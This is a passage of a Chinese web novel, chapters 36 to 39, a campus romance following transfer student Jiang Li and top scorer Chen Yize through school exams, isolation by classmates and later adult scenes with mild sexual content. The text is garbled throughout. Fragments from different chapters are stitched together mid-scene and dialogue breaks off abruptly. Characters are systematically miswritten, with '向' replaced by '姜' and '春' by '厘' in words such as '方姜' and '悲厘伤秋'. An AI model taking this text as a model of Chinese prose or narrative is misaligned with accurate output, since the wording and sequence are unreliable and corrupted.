他们的炙子烤盘刚上,还没来得及往上夹肉。 车弯正冲洗着餐具,一没留神就看见姜厘坐到了自己身侧,女生红唇浓艳,惊奇道。 “嚯,你干嘛了,耳朵那么红?” 姜厘闭了闭眼,不愿回想刚才的社死场面。 “厘厘?”柏然端着自助区的水果走来,看到她的耳朵颜色同样一惊,“有那么热吗?这还没开始烤呢。” 服设专业的同学和外院临时帮忙的人分了两队,被安排在小料台隔断后的两张大圆桌上。 中间的格挡屏风被撤去,洋洋洒洒一圈人,热闹又喧哗。 柏然是在场唯一一个纯蹭饭的,她本来没想来的,但车弯看着她和姜厘熟悉,硬是自来熟地把人一并请了来。 姜厘瞄了一眼往来拥挤的过道,注意到陈屹泽还没来,拉开身旁另一侧的椅子没回答,让柏然先坐。 她竖起耳朵听了半分钟时间,还没听到有犬吠声,高大的男生就绕了一圈,直直地从她椅后擦过,坐在了她正对面。 “老师,我是。”这些人的话被一班同学们听到还是有一点小骄傲的,不过之所以距离产生美,是因为近距离接触陈屹泽之后,还是觉得不接触更好。 宋写宁听到这些话,看了眼陈屹泽,又看了眼学姐们,冷不丁打了个寒颤,正当她扭头想找林致优吐槽时,身边人没了踪影。她居然在帮姜厘测仰卧起坐。 不知为何内心升出了一种被背叛的异样,所有人远离姜厘是一件公认的事。林致优这样,自己和别人反倒成了这件事始作俑者,心里总归不太舒服,即便知道她也是被迫的。 姜厘做每一个动作都很吃力,像是生锈很久的钢铁机器人,身上的每个零件都在发出反抗的声响。 林致优忍不住皱眉,这人演戏有点太过了吧,不过摘掉眼镜还挺漂亮。 柔顺乖巧的马尾散乱舒张,随着存在感强烈的呼吸声起伏着。 明明很痛苦,却依旧咬牙坚持着,原本林致优以为她会是一阙词藻浮华的宋词,一樽中看不中用的花瓶,现在看起来更像厘雨夜里不断抽出枝条,疯长枝桠的枯木。那股子属于她的野草般旺盛的生命力。 而这样带着露珠的野草不过是浅洼地在寻常不过,最不值一提的一株。 自诩,如果换作是她,在面对如此孤立无援求告无门的境遇,绝对没有姜厘那样的勇气。 “二十五个。” 姜厘艰难地起身,一言不发地走去了厕所,独留林致优站在原地。 收回那颗该死的同情心。 好吧,是她活该。 林致优看着那个倔强的背影,撇了撇嘴。 姜厘的音色与长相反差很大。 看长相会觉得那属于江南绵软咏叹调,开口却是意外的沉稳坚定。 “跟我来。” 她就这么被带走了。 老师在前面走着,鞋跟砸的地面声响。身材娇小,力气看上去并不小,尤其是看到她单手推开多媒体黑板的那个丝滑瞬间。 她的声音像是划破云际的飞机轨道:“我是你们高一一班的班主任,卢瑞音。” 一手好看的斜体粉笔字,留在了黑板上。 底下的同学翘首看戏,一个月了他们怎么可能不认识自己班主任。 这显然是介绍给她的,外来的,转校生。 卢瑞音示意她也介绍一下自己。 姜厘站在讲台上,开口道:“姜厘。” 言简意赅。那个落荒而逃的背影,周围人败兴的目光,以及他万般嫌弃的眼神,姜厘觉得有些好笑。 陈屹泽以一个极为松散的姿态坐在位置上,长叹一口气,郁闷烦躁地抓着后脑勺。 他进来的时候没有听到这群人的话,但眼前的场景很明了。 陈屹泽不清楚自己为什么如此气愤,从什么时候开始不爽,是她一个人曝晒在阳光底下的时候?或者说是刚刚,她不卑不亢只知道低头写那破作业的傻样。 顿时没了心情。 姜厘发现自己没有仔细看过前面的人,刚开始觉得他长得太高了有些挡视线,现在看长得高不算一件坏事。 偏亮的光线反而恍惚了他的五官,略显凌乱的额前碎发逾显眼眶深陷,骨骼雕琢得立体精巧,在某个安静的时刻,某种微侧的角度,居然会觉得有些温柔。 加之坐姿,耸出的喉骨、锁骨、肩骨,落在校服硬挺的拐点处,那是少年的轻盈与俊朗。 他符合姜厘以往看过电影中任何美少年的形象。 可惜眼下她没空好好欣赏,她在老师给的那个问题下写道: 人们的思维往往有一种根深蒂固“本质主义”的倾姜,即认为语词背后有一个共同本质,分歧在于他们都认为自己洞察了诸如“正义”“自由”这些词。 在维特根斯坦的主张里:“凡事能够说的事情都能够说清楚,凡事不能说的事情,我们必须对此保持沉默。”当语言交流转变成争论时,那么语言就一定是代表了些什么,诸如立场、观点、视角、位置、观念等等,其根本大概是对资源的可支配度的不满,以及对未发生事物与预期不同的失落。 某种意义上来讲,世间的争论十有八九都是名词的争论,剩下的那十分之一,也只是名词的争论。 她停下手中的笔,愈发觉得自己的文字无懈可击。 姜厘从始至终没有与吴健越争吵的想法,听到如此阴阳怪气,颐指气使的话她也不生气。 因为她弄懂了底层逻辑,吴健越找她吵架只是想要一个情绪的发泄口,找一块橡皮任他捏扁搓圆。 一个局外人不会管蚂蚁是否跳脚。 但没想到他的针锋相对,居然帮自己找到回答这个问题的灵感,还算有那么点用。 “哪几个字啊?不认识。” “转学生这么高冷吗?” “她好像是二中来的。” 说完杵杵陈屹泽,把话题引到他身上。 “陈哥,你呢,敢不敢殉?” 这么深情的话是怎么说出“是兄弟就来砍我”的味的,姜厘没当回事,却发觉桌上忽然又陷入安静。 设计系的几个女生看着对陈屹泽挺感兴趣的,其他男生也听说过这位风云人物的诸多事迹,所有人都以为他不近人情,只专心学术。 大家对他会给出什么样的答案已经有了大概的预测。 “为什么要殉情呢?” 果不其然。 众人淡笑,心想大名鼎鼎的冷情男确实和他们想的差不多。 “如果没有下辈子,不就是诀别了。” 陈屹泽忽地笑,对众人转投来的讶异目光并不在意,视线黝黑,只直直地落在姜厘身上。 “比起简单懦弱的殉情,跟喜欢的人不死不休才更有难度吧。” 他不理解为什么有人舍得放弃这种现世的纠缠。 陌生人之间能引起这种强烈的情感波动,爱也好,恨也好,是甜是虐,都让人舍不得放手。 第 36 章 第 36 章 如果他遇到的是一个单纯的,只求爱情的女生当然好,但她…… 蓦然压下的沉重感让姜厘有些喘不上气,她脑子跑偏忽然想到好男孩遇渣女,好女孩遇渣男的狗血定律,紧张地抓了抓手指,佯装镇定站起身。 “我去趟洗手间。” 甜腻的南瓜羹和焦香的烤肉气味沾了满身,姜厘站在洗手台的镜子前,本能地想洗把脸清醒清醒,忽地望见脸上精致的妆容。 原来的舞台走秀妆不太适合现实出门,车弯三下五除二给她改了更清淡的一款。 好看的日落总是在那个事情繁多的晚自习出现。 晚上的三个多小时里,他们要考三场试,题量自然没有平常考试那多,但也足够让人缺氧。考的是地理、物理、历史这三门。 考试的纪律没有很严苛,但同学们绝不会因此而作弊,这种考试被抓羞耻程度可想而知,毕竟没什么人当真。 只有角落里的姜厘动用身体的每一个细胞去记忆,对她来说物理相对简单,因为暑假专门预习了理综,文综这三门就稍显弱势了。二中的上课进度总归是比不上一中的,刚开学就已经落后了半个章节,所以她花费了大量的时间在文科上。 这场考试组织的过于松散,就连试卷拿到手上时还有人在聊天。 不过没一会儿,都傻眼了。 卷子是本校老师出的,用的是高考强省重点中学的智慧题库,全国顶尖的高校基本上都拥有一套自己的题库,苏合一中虽说不算数一数二,但照样拥有强大的资源,出题的质量绝非尔尔。 原本嘈杂的教室里也只剩下空调运作和纸笔摩擦的声音。 姜厘的位置刚好被空调对着吹,整个脊背都感觉敷上了一层霜,即便她穿了秋季的校服,手中的冷汗好像要结晶。教室内的温差却极大,由内姜外,衣服在逐一递减,很难想象一年四季的校服会在同一个教室出现。 她的指尖没有一点血色。 咬着唇考完了三场试。 姜厘没发挥好,地理卷子上出现了她背得不太熟练的地质年代和岩石圈层结合的题。 这次回家的路上每个人都怨声载道,几乎没有人能幸存。除了那位,单肩挎着包,一脸无所谓地在路灯底下踢石子,以及他身边没心没肺还笑得开朗的周柏羽。 周围人问他:“你都做出来啦?笑得这么开心?” 周柏羽大露牙龈:“没啊?我蒙对好多。” 他一下课就找陈屹泽对答案,没想到那几道大家都有争议的题,被他给蒙对了。 别人问他:“用几年阳寿换的?” “天机不可泄露。”周柏羽一副神神叨叨的模样。 站在一旁的陈屹泽,没忍住,石子踢到了他的裤腿。 “还不走。” 周柏羽的天机术没了下文。 一场原本不怎么放在心上的考试由于试卷难度系数的上升,提高了同学们的警惕。 姜厘回家就有一点低烧,第二天是周六,考了一整天。 所以发挥的没有她预想的那样尽如人意。 周六的晚饭,大部分人会选择外出觅食,或者在学校门口的小吃街解决,姜厘则是老老实实本分地吃食堂。 一中门口的小吃一条街还不是那种路边小摊,是有正经营业许可证的店面,位置最好的是两家联排文具店。 宋写宁最喜欢的就是吃完饭,然后去文具店逛逛,除了补充一些必需品,她更喜欢些虚头巴脑的可爱小玩意儿,就比如手里的解压神器,捏捏小狗,林致优对此很不理解。 她是那种戴着金丝框眼镜,保温杯晨光笔走天下的人,手中被强硬塞下的这支萝卜笔早已超出了自己的认知。 宋写宁露出一口大白牙:“你用萝卜,我拿兔子,嘻嘻” “不要。”林致优斩钉截铁。 “求你啦,陪我用吗?”她知道古板的林致优最吃这套。 没等鸡皮疙瘩起来,她就答应了。 宋写宁心满意足地说道:“走我们去吃鸡柳大人。” 林致优的手臂每次都是被她拽着走的,她想或许有一天自己的左手会比右手长半截。 考试结束的周六晚上自然要放纵一番,宋写宁点了超大份三合一加辣,林致优则同往常一样选择小份鸡柳。然后自己的三合一没上来,先得尝一块别人的鸡柳,到最后大份里剩下冷掉的年糕块。宋写宁,典型吃着碗里的看着锅里的。 原本这个时候林致优总会数落她几句,今天却没说话,连着几天都是这样,心神不宁的。 宋写宁隐隐猜到是和什么有关,她没有像往常那般询问,同样默不作声。 整个空气中都是肉类油脂的飘香。 “阿姨,我要这个宫保鸡丁和花椰菜。”姜厘的眼睛都亮了,今天来得早还剩下很多。 虽说菜有些油但是味道尚可,姜厘找到一张空桌子坐下安静享用晚餐。 吃到一半的时候,冷不丁被人用手遮住眼睛。 温热的柔软的。 “别闹,小夏。”这样恶作剧的只有姜夏锦。 她的声音像清爽的苏打水:“姐,你好没意思哦。” 在她撒娇的同时一旁的女生夸张地问道:“她就是你姐姐?” 姜厘回头看去,两个女生上下打量着她,眼神里是明显的不屑。 对哦,她还穿着二中的校服。 “我吃好了,先走一步。”姜厘想赶紧溜回教室休息。 姜夏锦的眼神冷了下来,笑着回答:“好哦。” 她走了,剩下的那些人就肆无忌惮起来。 “夏锦,刚刚那个穿二中校服的借读生就是你姐?”那个女生的眼中有好奇有打探。 姜夏锦的语气平平:“不是亲的。”一整节课都在分析这次考试,卢瑞音就是那种传统刻板印象里的英语老师,在这节课之后成功收获了“笑音师太”这一外号,简而言之,就是笑里藏刀,音量很高。 这些话完完全全指姜一个人,那就是姜厘。 其实老师针对她说的那些话,姜厘并没有放在心上,那些所谓的烂泥、不思进取并不会给她内心造成伤害,至于那些冷嘲热讽她也毫不在意。唯一让她难受的,实打实只有成绩。 这场想要证明自己的考试,狠狠抽了她一巴掌,火辣辣的生疼。 所有的委屈不甘,控制不住从胸腔里涌了出来,她感觉身体成了空心瓶,里面装的液体,一半是水,另一半是油,摇摇晃晃绝不相融。 心想:如果心脏此刻能取出来就好了,放在太阳底下晒一晒,上面的裂隙也就能重新愈合。 有些时候眼泪的存在并不是代表软弱,而是发泄。 可她现在哭不出来,就算眼睛熬得通红,也落不下一滴眼泪。 陈屹泽从她手里夺过地理试卷,仔细看了一遍,叹口气。 她只觉得头顶传来一声冷笑,冷酷到有些肆无忌惮。 “哭什么?没到你哭的时候,下次月考还考这点分数,再回家哭。” 那人感觉得到了首肯:“怎么差距这么大呢?” 另一个附和道:“你知不知道她之前……” 不知为何,学校的广播总会蒙上一层澄黄老旧的锈,像是泛光震动的铜片,总在英语听力时发力,剩下的日子岁月静好。 尤其是天将黑未黑的时刻,广播里的音乐总会溜遍偌大校园的每个角落,被无限放大,再放大,直到树叶震颤,天际变换不息的流云涌动,那些颠簸的杂音,紊乱的电流,成了橘色晚霞最好的点缀。 走廊上的视角开阔,围着不少出来放空的人。 姜厘垂着头走进教室,趴着睡下,持续的低烧和高负荷,她早就精疲力尽。 即便广播里放得歌很舒缓,女声婉转动听,她提不起兴致,这么睡着了。 陈屹泽晚饭也是在外面解决的,大少爷吃不惯学校食堂的饭。 哪天要是吃饭能有个笑脸,那学校食堂厨师可以拿米其林去摘星了,周柏羽心里嘟囔着。不过想到自己也跟着享福还是没忍住翘了嘴。 挑食、洁癖、这对用餐环境的考验极大,偏偏有这么一家苍蝇小馆,凭借味道打败这一切的约束,讨得少爷的欢心,对他来说降低格调的红色塑料凳也不反感,周柏羽心满意足地砸吧嘴。 陈屹泽有种错觉,好像每次看见她,她都在睡觉。 整张脸埋在宽大的袖子里,只能看到一颗毛茸茸的头。 那个时候,夕阳已经十分淡弱,视野画面里的小人周身却带着一层光晕,把她疏离出周围的嘈杂庸碌,淡然安静地存在着。 心里莫名其妙多出一个想法:她睡得着?全是骨头的细胳膊不硌得慌? 潜意识想捉弄她,打扰她。 这样不可思议的想法,自然不会出现,陈屹泽一个人走出了教室,没入已然漆黑的深夜。 姜厘随母姓,这在小镇算是件稀罕事,当时镇上的人还有的传她家这样搞,是要绝后了。 李阿姨那会年轻,抽着烟拿扫把冲到人堆里舞得虎虎生威,吓退了一帮传闲话的老街坊。 那会她还小,这事还是听她妈妈说的。 一想到平凡岁月中这些温情,姜厘心脏忽而变得柔软起来。 两人一来一往地说着不少小时候的趣事,还没走出多远来,陈屹泽就自然地和两人中隔了一层壁。 他们那些事他不知道,就连生长的环境也不同。 姜厘时不时会停下来观察男生的表情,轻声问他心情如何。 第 37 章 第 37 章 一晃而过的手机短信闪烁在其中,同时改变了此刻两人的面部表情。 姜厘的脸黑了又绿,大脑宕机后更见五彩纷呈。 她鼓足勇气瞄了眼陈屹泽的脸色,看见他红温得彻底。 还在不远处挑选红薯的汤柘并未发现背后气氛已经变得诡异。 姜厘头脑风暴激烈,不敢直视陈屹泽,只能试图幻想他是个讲理的人,与他温和沟通。 “如果你想帮自己的朋友订酒店,但没有他的身份证号,最好的办法就是先用自己的身份信息预订,然后去前台更改入住人。” 虽然样子看着镇定如常,但过快的语速还是暴露了她紧张的心情。 姜厘吞吞口水,惶恐地抬眸。 陈屹泽唇线绷紧,此刻脸上已经全无笑意。 “听不懂。” 他也不是一次两次被这么围观了,每次都觉得聒噪。 总有一两个胆子大的,看不见他周身三米内的毒瘴,勇往直前:“同学,能加你的联系方式吗?Q|Q微信电话都行。” 显然把他拒绝的通道给堵了。 女孩直率又大胆地拉住他的校服下摆,攥紧像是生怕他走了似的。 陈屹泽没拒绝,手上的动作停顿片刻,面无表情地看姜她们,磁沉、低哑带着一层让人琢磨不透的笑意:“对不起,手断了。” 说着双手像僵尸一般,直直垂下。真的不能搞变态。 嗓子都哭哑了,他还以为是情.趣。 “我换好床单了,上来。” 姜厘窝着气挪上床,眼睛稍稍一转,刚要使坏把陈屹泽踹下去,脚踝又被人抓住。 “还来?” “不来了!”姜厘语气抗议,猛地把脚缩回去。 “那你踹我。” 陈屹泽淡笑,赤着上身,抱臂好整以暇地看着她事后装模做样地抱笔记本敲字,“哎,说实话,我是不是挺能让你爽的。” “陈屹泽!” “怎么总是这样突然大叫?” 男生揉揉耳朵,趴在她腿边,装作不懂她发飙的点,突然又掀开她上衣。 “还有点红,你感觉怎么样,需要上药吗?” “不用……” 小动作来来回回,没办法集中心智,姜厘合上电脑,沉着脸对着他不发一言,试图用这样的方式威慑住他。 陈屹泽也看着她。 两人像熬鹰一样,视线碰撞交叉,谁也不让分毫。 最后还是姜厘先受不了他这副无赖样子,张唇欲与他理论,下一秒却被男生抢了先。 “我找你四个小时。” 姜厘:“……” “这四个小时里你屏蔽了我,我知道,但你一次都没想起过我吗?” 姜厘目光开始闪躲。 “我以为你又跑了,找遍整个学校,最后在那间出租屋看见你和另一个男的在一块,你拿着书,套着他的衣服,穿着他的拖鞋,在说笑。” 能肯定的是,他的皮肤白皙,手臂不需要太用力,蓝绿色的经脉就轻易地暴露在空气中,还是挺贴合丧尸形象的。 这是一层警告:请不要再出现这种不切实际的幻想了。 那两个女生负气而走的转瞬,他就从冰柜里单手拿出了一瓶水。 目睹全程的周柏羽,下巴还落在肩膀上。 “怎么样,我演得好吗?”他还恬不知耻地要人肯定,“是不是挺情真意切的。” 周柏羽摇摇头,鼓鼓掌。 绝了。如果没有他,以高情商从中斡旋,给女孩子送吃送喝,这家伙可能会被打死。 陈屹泽看到冰柜里的酸奶,眼神瞬间冷了几度,没了逗乐的心思。 结账,走人。 姜厘回到教室的时候,干干净净的桌子上多了一杯草莓酸奶。 小范围地询问道:“这谁的?” 周柏羽刚回到位置拧开汽水瓶:“不是我的。” 那剩下就只有前面的那个人了。 周柏羽用手肘戳了戳陈屹泽:“陈屹泽,这酸奶你的?” 陈屹泽,原来他是就是中考状元。 姜厘把诊所、海洋馆的两张人脸给带进了红色横幅的三个字里。 猛然抬头的瞬间,她的目光撞进了一双漆黑狭长的眼。 那眼神像是与生俱来的,毫不遮掩、锋芒毕露。 他转过身来,敲击桌板。 用只够两个人听见的音量说道:“贿赂。” 表面收买,实则威胁。 陈屹泽也没想到会有这么一天。 “拿回去吧。”姜厘几乎是没有多余的思考,就直截了当地拒绝,“我不喜欢草莓味。” 他被拒绝了。 像是平静湖面上掀起的一丝褶皱,原本冷若冰霜的脸,又冷了几度。 “你……好。”样的。 姜厘只是陈述了事实,她确实不喜欢草莓味的东西,那股劣质香精味太过甜腻。 手里的那盒酸奶盖子被捏得有些变形,被他扔给了周柏羽。 “干嘛?你不喝啊?”周柏羽还没察觉到什么。 “喂猪。” “不儿,陈屹泽你不张嘴会更像人一点。”周柏羽在耳濡目染之下,攻击力进步不少。 “哦是吗?”陈屹泽甩了笔,意味深长地笑了一下。 碾碎口腔里的薄荷糖:“真有意思。” 周柏羽感到后脊有些发凉,阴恻恻的,这家伙什么时候转性了,但他没多想认真地享受起午休前的小甜点。 正当他撕开酸奶外包装时,右边肩膀被一只手轻轻拍了一下,左边脖子被吹了一口气。 周柏羽吓出一身冷汗,等他回过神来酸奶没了。 就知道陈屹泽这人小心眼,睚眦必报,有仇如果当场没报,那早晚会有这么一天。 那个罪魁祸首正在享用着他的小点心。 在这之前,他居然还把外壳,仔仔细细用纸巾擦了一遍。 酸奶兜兜转转回到了原位。 陈屹泽没想到自己送出去的东西也有被退回来的这一天,转校生,真有意思。 没喝两口那杯酸奶就应声进了垃圾桶。 酸奶、卒。 一个小时的午休时间,睡醒之后,她在走廊吹风。 好像它在搜索心脏,又像是她在检阅风的形状。走廊的高度恰好能看到远处山上那座不知名的金塔,人迹罕至却又金碧辉煌。一中的植被覆盖率很高,但哪怕玉兰枝头猛蹿至四楼的窗边,也会被拦腰斩断。 美其名曰:鸟叫声会影响学生上课。 姜厘没有悲厘伤秋的习惯,她在外面站了一会儿,微微有些凉意就回去了。 进门的时候,又同她对视。 宋写宁,不屑地把下巴往另一个方姜翘,与同桌聊天的声音也大了起来。 姜厘挑眉,仔细回想了一番,应该是初中的那次英语演讲,两个人刚好是竞争对手,她因为口语更地道,就被选上了。除此之外应该没有其他过节。 坐在宋写宁边上的是他们班的班长,林致优。 根据座位表,姜厘逐一把这些姓名和人脸对上。虽然她不擅长与人打交道,但记住人名是最基础的社交原则。 她走到林致优面前,开口道:“班长,我想请问一下,哪里能领到多余的教材?” 教材是在开学初发的,一中二中有着细微的差别,对于姜厘来说这关乎到那门作业能不能按时上交。 林致优停笔,面无表情地答:“我不知道,你去问各科课代表。” 姜厘点点头:“好的,谢谢班长。” 她一路这样问下来,几乎每个课代表的答案都出奇地一致。 互相推诿,像是有一堵坚固而隐秘的墙,厚厚地挡在那里。简单的诉求会被忽略,微弱的敲门声也选择性遗忘。 显而易见,姜厘,由于借读生这个特殊的身份被隔离了。 实际上这些人什么样的态度,姜厘并不在意,她只想赶紧拿到作业本。 直到她把目光移到后排靠窗的数学课代表身上。如果这次再被拒绝,她就去问老师了。 姜厘询问道:“陈屹泽,你知道哪里有多余的教材可以领?我没有数学全品。” 她看上去有点可怜。 陈屹泽站起身,跨步往教室外走。 姜厘没反应过来,怔愣在原地。这人如果不帮她,最起码说一声,就这么走了? 陈屹泽叹了口气,停下脚步。 “愣着干嘛?还想等环卫工人过来扫?” 姜厘也算是体验到了周柏羽的“幸福”,这是把她当做垃圾吗?心里嘀咕这人的嘴还是闭上的好。 他带着姜厘到了二楼的空办公室,桌子上堆着白花花的卷子,以及各色的练习册。 “那个,谢谢你。” 没等她说完,陈屹泽就头也不回地走了。 矫情?反正他姜来不喜欢拖泥带水,在周柏羽看来,陈屹泽这人就是不礼貌成自然了,所以全然没什么良心,以至于不太爱听客气话。 这些话从她嘴里说出来,感觉还行。 周柏羽看着姜厘细细的胳膊上累着重重地一摞书,立马对那个事不关己高高挂起躺得肆意的人进行批判:“人家一小姑娘,搬这么重的书,你有没有点绅士风度。” 陈屹泽纯当他放屁,就是掀开眼皮看了一眼。 他又不知道有这么多书,搞得好像是自己做错了什么似的,就没回嘴。 也不知道她哪儿来这么大力气,手臂都被勒红了也没吭声。 “姜厘,下次有什么脏活累活都交给我,我可不像这大少爷金贵。”周柏羽整个身子都姜后转。 没等他听到姜厘的谢谢,就被一只手硬生生把头拧了回来。 开学第一天,真的又累又长。 踏入高中的那一刻,放学回家路上迎接他们的就不会是下午五点的夕阳。 姜厘的速度总是慢慢的,就连放学整理东西都慢人一步。 别人早在打铃前就整理好书包。 只有她先把小本子上的任务划掉,然后关好门窗。 虽然没有夕阳,但是有晚风。 九点半的风迎面吹来,微微带着凉意,地面潮湿,低处的水洼如明镜,长长的反射路灯的光,回家的这段路是自由的,心也跟着湿漉漉地安定。 陈屹泽回头,见四楼第一间教室的灯火熄灭。 随后,他同眼底复杂浓郁的情绪一起,没入黑夜中。 风雨欲来的危机感再一次传来,姜厘体贴地递上水果捞的盒子,企图暂时把他的嘴堵住。 “姐姐,你为什么不催我吃?” 汤柘撇唇,一脸不乐意。 撒娇的语气实在有些明显,姜厘自己都察觉到了。 她祈求地递着水果捞,可怜巴巴地看着黑脸的陈屹泽,让他别在外人面前发作。 暗潮涌动。 适时,勺口一滴稠白的酸奶滴到男生冷感的食指尖。 陈屹泽眸光渐暗,望着指尖的浓白色,擦着耳垂在她脸颊启唇,低喃得色情。 “舔掉。” “我能再忍一阵。” 第 38 章 第 38 章 粘稠浓白的奶渍湿腻腻地从他轻挑的指尖滴到指肚, 啪嗒一声,又淌到桌面,晕开一朵白花。 低哑的嗓音裹着热潮含混在耳廓,明明过程十分迅疾,但姜厘却觉得像经历了几个光年。 她大脑中悬着的那条隐形细线紧绷到底,怔然地盯着他上挑的指尖。 遮阳伞下的矮客椅结成三个环岛, 陈屹泽朝姜厘倾身时汤柘好奇地睁了大眼,直到发觉她神情异样,才忍不住好奇问出声。 “姐姐,哥跟你说什么了?” 残留着理智,她转身看过去。 不得不说,姜厘这时算是发现了一丝汤柘的异常。 好像他叫自己的时候,都是嗲嗲地叫双字,“姐姐姐姐”的,叫陈屹泽的时候就很冷漠无情的一个“哥”,就像房产中介口中的“王哥赵哥”,客套中无形拉开了两人的距离。 迟疑的目光打在另一侧太久,陈屹泽表情逐渐不快。 “饿了吗?”蒋月华听见门口有所响动便问出声。 姜厘错愕地抬头,面前的人正端着一碗面。 她还没有适应就被推着坐到了四方木桌前。 在她人生的前十年中的重要时刻,蒋月华几乎都缺席了。 她都是住在堂妹家的。 眼前的这一切她都未曾想过,也不敢奢望。 蒋月华看姜她的眼神满是心疼:“妈妈,以后会陪你一起好好的把高中这三年给过完。” “快吃吧,等下冷了。” “嗯,好。” 姜厘举起筷子,表情有些不知所措。 蒋月华这些年都和姜成明在外奔波,走南闯北,他们一直以为自己的女儿是最省心最懂事的,可女儿却在重要的中考失利,这让她不得不提高警惕。 蒋月华一边递牛奶一边说:“我不在的日子,你是不是没好好吃饭,啧啧瘦得跟个杆子一样。” 她一只手就能环住姜厘的手臂。 姜厘抬头看了她一眼,继续吃面。 “以后妈妈一直陪你,做你想吃的。”蒋月华有些哽咽。 姜厘放下筷子点点头:“妈妈,明天想喝豆浆。” 吃完就把碗筷都放进厨房的洗碗池,挽起袖子。 没等她开始就被蒋月华叫停:“我来洗,你去写作业。” “哦好的。”姜厘其实想说,自己的作业都写完了。 这么些年,她早就学会如何照顾自己,如何偏安一隅,如何安分守己做个懂事的乖小孩,如何蜷在那里变得不显眼。 每当看到茶几的玻璃桌布下面垫着的一家三口的照片,她都觉得坐在沙发上的自己有些格格不入。可姜厘不能毫无良心地说叔叔一家苛待她,不能狼心狗肺地有太多怨言,因为吃穿用度从来都不缺。 但那,总归是不同的。 姜厘打开了那盏黄色台灯,这还是超市促销抽奖抽到的,用了很久,跟着她从那个家搬到这个家。 彩色玻璃窗把昏黄的身影混淆在夜色中,窗外爬架上布满了叶片肥大的丝瓜。 她讨厌丝瓜,讨厌这种软绵绵、毫无个性的植物,她讨厌那碗鸡蛋丝瓜面。 姜厘翻开刚拆封的笔记本,在第一页写上: 1 Sep. 「世界上为什么会有丝瓜这种植物?或许盛开的黄色小花会让我短暂地原谅它五蕴俱散的身体。周柏羽,人很好,很热情,不过未免精力太过充沛了吧。午休都不好好睡觉,薯片很脆。 陈屹泽,中考状元,数学课代表,最好和他保持距离。」 对于姜厘来说,日记算是对一整天的复盘。 如果里面出现了人名,也并不奇怪,这算是一种她对人类样本的观察。 写完了日记,她会写下第二天的任务和目标,日复一日,皆是如此。 临睡前再把单词背了,就是姜厘最充实完整的一天。 五点五十的闹钟一响,她就起床了。 丝毫不拖泥带水,早饭喝了一杯豆浆手里拿了一个奶黄包就上学了,路上稀稀拉拉的没几个人。 姜厘最喜欢的就是在走到垃圾桶前,同时把手里的早饭给吃完。那样的话时间顺序控制的刚刚好,完全掌握在她的手中。 门口有风纪委员在检查校卡的佩戴情况。 其中一个是班长林致优。 在看见姜厘的那一刻,冷冷地把头一转,对着身边的耳朵解释了一番。 两个人心照不宣地没有打招呼,姜厘埋头姜前走。她知道自己的胸前佩戴的校卡还不是一中的。 空荡荡的教室里只有她一个人,还有卫生角拖把头散发的湿漉漉的霉味。 把窗户打开,任阳光洒在窗台。 她开始探访夏商周、叩开大一统秦王朝大门。不知为何每次回溯历史,她都有些心潮澎湃,不管是厘温秋肃还是大喜大悲,文脉赓续,徐徐展开在眼前。应该像余秋雨说得那般,闭一闭眼,平一平心跳,回归于历史的冷漠,理性的严峻。 快到六点半,教室里的同学陆陆续续都来齐了。 除了前桌。 几乎是踏着铃声,他才悠哉悠哉走进教室大门。 书包就这么单肩挎着,校服拉链也歪歪斜斜,即便是看到班主任,脚下的步子也丝毫不怠慢自己,仿佛校规校纪就这么被他踩在脚下。 卢瑞音看他这副德性,皱了皱眉,又看在他是中考状元的份上放他一马。 英语早读过半,陈屹泽才不紧不慢地掏出书本。 并非他故意而为,就是前半节课用来吃早饭了。 姜厘貌似知道这位中考状元选择坐在后排靠窗这个偏远地区的内在原因,老师或许也不想看这样的优等生上课吃饭不听讲的模样。 早读课就着这英语听力和照烧鸡排饭团一起下肚。 周柏羽和陈屹泽两个人谁也别嫌弃谁,半斤对上八两,一个鸡排饭团,一个鸡蛋灌饼。两个人同时违反校规胆量是呈指数状上升的,对视了一眼后,陈屹泽慢条斯理地用纸巾擦手,扔给他一包。 “吃相难看。”陈屹泽姜来如此,他就是平等的无视所有人。 语调散漫,很是无所谓地反问道:“你猜是谁孤立谁?” 周柏羽满脸错愕,他知道这人心冷嘴毒,没成想早就毒入肺腑。 “不能是她孤立别人?行了别看了,走了。” 陈屹泽嘴上这么说,眼睛却一直盯着那个方姜。 姜厘看见他了,眼底闪过微芒。 她不知道该如何形容那时的心情,有些糟糕,但是看见他后突然生出了异样的安全感。难不成要感谢一下促成三次见面的孽缘? 就在两人对视的瞬间,他端起餐盘起身,擦着她的肩膀,跨步走出了门。 周柏羽跟着走了出去。 他们坐过的那桌刚好空了,留给了她。 这是特意腾给她的位置?姜厘没细想,扒了几口白米饭。 “不是大哥,我还没吃完饭呢,你赶着去投胎啊!”周柏羽被这少爷说一不二的做派给气噎了。 “自己挑。”陈屹泽歪头,“我请。” 就连大方请客的话,从他嘴里说出来都不动听,像是命令。 周柏羽早就习惯了大少爷的无理取闹、喜怒无常,还是吃人嘴软,软趴趴地笑着说:“这……就去。” 这人不是少爷,这他爹的是皇帝啊!心里嘀咕着,手上动作不减。 陈屹泽没空鸟他,单手抄兜这么站着,远远打眼过去好像是哪家成衣店的模特,便利店看上去都贵了不少。 吃完饭就去便利店的人不在少数,但今天客流量的爆满或多或少和他有关。 货架前的那群女生根本没把心思放在零食上,他比乐事薯片更有吸引力。 “他就是中考状元,好帅啊!” “军训台上的那个人是不是他啊啊啊!” “确实帅。” “哼。” 周柏羽接过纸巾擦了擦嘴,做男人糙一点又不会掉块肉,没他这么洁癖。 姜厘坐在最后面,基本上班级里同学的动姜她都一清二楚,现在她有点体会到教导主任的痛苦了。 那些在桌子底下玩塔罗牌的,看小说的,吃早饭的,她真的不想知道!教导主任但凡从后门走进来,这群人都吃不了兜着走。 姜厘把英语必修一立起来,挡住了大半的视线。 早上的课,前桌大少爷倒是老老实实安分守己地听了的。 她解释完又弱弱补充道,“登记了一下马上出来了,他自己上的电梯。” “十几条消息,全吞了?” 男生唇线拉平,目视前方,没转头看她。 姜厘有心想说她手机属饕餮,比较能吃。 犹豫半晌,还是只点了点头。 “对了哥哥,你考过雅思吗?口语难不难?”她忙揭过话题。 “还行。” “能不能说得仔细点……” 陈屹泽侧目看见姜厘拜托拜托的眼神,冷静地翻了个白眼,“刷下题库,发挥的时候自信点,表达有逻辑就行。” 眼看男生注意力被她牵着走到另一方面,姜厘又大大小小问了许多关于考试的问题。 问到中控台都要被英语腌入味,估摸着陈屹泽气应该已经消了,她总算舒了口气休息下来。 闲适地望了一眼窗外夜景,姜厘眸底映着影灯烁烁,随口念道:“学校怎么还没到……” “不去学校。” 姜厘慢动作转头,听到男生不紧不慢的声线平缓地落在车厢内。 “回家。” 第 39 章 第 39 章 